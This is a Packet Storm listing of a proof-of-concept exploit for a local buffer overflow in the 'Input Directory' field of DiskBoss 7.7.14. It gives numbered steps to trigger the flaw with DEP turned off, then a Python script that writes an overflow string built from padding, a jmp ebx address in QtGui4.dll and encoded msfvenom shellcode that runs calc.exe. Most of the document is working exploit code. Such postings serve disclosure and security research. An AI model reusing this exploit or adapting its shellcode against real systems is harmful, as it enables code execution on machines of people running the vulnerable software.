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DiskBoss 7.7.14 Local Buffer Overflow

🗓️ 02 Apr 2020 00:00:00Reported by Paras BhatiaType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 173 Views

DiskBoss 7.7.14 'Input Directory' Local Buffer Overflo

Code
`# Exploit Title: DiskBoss 7.7.14 - 'Input Directory' Local Buffer Overflow (PoC)   
# Vendor Homepage: https://www.diskboss.com/   
# Software Link Download: https://github.com/x00x00x00x00/diskboss_7.7.14/raw/master/diskboss_setup_v7.7.14.exe  
# Exploit Author: Paras Bhatia  
# Discovery Date: 2020-04-01  
# Vulnerable Software: DiskBoss  
# Version: 7.7.14  
# Vulnerability Type: Local Buffer Overflow  
# Tested on: Windows 7 Ultimate Service Pack 1 (32 bit - English)   
  
#Steps to Produce the Crash:  
  
# 1.- Run python code: DiskbossLCE.py  
# 2.- Copy content to clipboard  
# 3.- Turn off DEP for diskbsg.exe  
# 4.- Open "diskboss.exe" (diskbsg.exe)  
# 5.- Go to "Command" > Search Files  
# 6.- Click on second + icon (located at right side of "Search Disks, Directories and Network Shares")  
# 7.- Click on " Add Input Directory"  
# 8.- Paste ClipBoard into the "Directory" field  
# 9.- Click on OK  
# 10.- Calc.exe runs  
  
#################################################################################################################################################  
  
#Python "DiskbossLCE.py" Code:  
  
f = open("DiskbossLCE.txt", "w")  
  
# Message= 0x650EA4CA : jmp ebx | [QtGui4.dll] (C:\Program Files\DiskBoss\bin\QtGui4.dll)  
  
jmpebx = "\xCA\xA4\x0E\x65"  
  
# msfvenom -a x86 --platform windows -p windows/exec cmd=calc.exe -e x86/alpha_mixed BufferRegister=EBX -f python -b "\x0a\x0d\x2f\x5c\x00"  
  
buf = ""  
buf += "\x53\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49"  
buf += "\x49\x49\x49\x49\x49\x37\x51\x5a\x6a\x41\x58\x50\x30"  
buf += "\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42"  
buf += "\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49"  
buf += "\x79\x6c\x79\x78\x4e\x62\x73\x30\x63\x30\x67\x70\x73"  
buf += "\x50\x4f\x79\x48\x65\x56\x51\x59\x50\x31\x74\x6c\x4b"  
buf += "\x30\x50\x50\x30\x4c\x4b\x51\x42\x74\x4c\x6e\x6b\x51"  
buf += "\x42\x74\x54\x4c\x4b\x44\x32\x77\x58\x44\x4f\x4c\x77"  
buf += "\x70\x4a\x55\x76\x44\x71\x69\x6f\x4c\x6c\x45\x6c\x53"  
buf += "\x51\x73\x4c\x55\x52\x74\x6c\x31\x30\x49\x51\x4a\x6f"  
buf += "\x34\x4d\x43\x31\x7a\x67\x69\x72\x6c\x32\x72\x72\x71"  
buf += "\x47\x6c\x4b\x42\x72\x54\x50\x6c\x4b\x70\x4a\x65\x6c"  
buf += "\x4c\x4b\x70\x4c\x64\x51\x62\x58\x39\x73\x51\x58\x67"  
buf += "\x71\x38\x51\x66\x31\x4c\x4b\x31\x49\x31\x30\x33\x31"  
buf += "\x78\x53\x4c\x4b\x31\x59\x44\x58\x49\x73\x65\x6a\x51"  
buf += "\x59\x6e\x6b\x30\x34\x4e\x6b\x73\x31\x58\x56\x56\x51"  
buf += "\x4b\x4f\x6c\x6c\x5a\x61\x5a\x6f\x34\x4d\x65\x51\x58"  
buf += "\x47\x35\x68\x4d\x30\x30\x75\x58\x76\x55\x53\x31\x6d"  
buf += "\x49\x68\x45\x6b\x43\x4d\x74\x64\x32\x55\x4b\x54\x42"  
buf += "\x78\x6c\x4b\x51\x48\x46\x44\x57\x71\x48\x53\x62\x46"  
buf += "\x4e\x6b\x46\x6c\x50\x4b\x4c\x4b\x73\x68\x75\x4c\x43"  
buf += "\x31\x79\x43\x4e\x6b\x36\x64\x6c\x4b\x45\x51\x6e\x30"  
buf += "\x4e\x69\x30\x44\x56\x44\x57\x54\x51\x4b\x61\x4b\x73"  
buf += "\x51\x51\x49\x50\x5a\x50\x51\x4b\x4f\x6b\x50\x33\x6f"  
buf += "\x33\x6f\x72\x7a\x6c\x4b\x42\x32\x78\x6b\x4e\x6d\x31"  
buf += "\x4d\x50\x6a\x56\x61\x6e\x6d\x4b\x35\x38\x32\x43\x30"  
buf += "\x47\x70\x35\x50\x42\x70\x62\x48\x36\x51\x4e\x6b\x32"  
buf += "\x4f\x6d\x57\x49\x6f\x4e\x35\x6f\x4b\x7a\x50\x4d\x65"  
buf += "\x6c\x62\x32\x76\x71\x78\x6c\x66\x6e\x75\x4f\x4d\x6f"  
buf += "\x6d\x4b\x4f\x5a\x75\x65\x6c\x46\x66\x33\x4c\x66\x6a"  
buf += "\x6b\x30\x4b\x4b\x4d\x30\x53\x45\x34\x45\x4f\x4b\x53"  
buf += "\x77\x64\x53\x64\x32\x30\x6f\x42\x4a\x43\x30\x50\x53"  
buf += "\x59\x6f\x78\x55\x75\x33\x51\x71\x72\x4c\x73\x53\x36"  
buf += "\x4e\x55\x35\x74\x38\x71\x75\x47\x70\x41\x41"  
  
junk1 = "A" * 4096  
junk2 = "C" * 1196  
  
  
payload= junk1 + jmpebx + junk2 + buf  
  
  
f.write(payload)  
f.close()  
`

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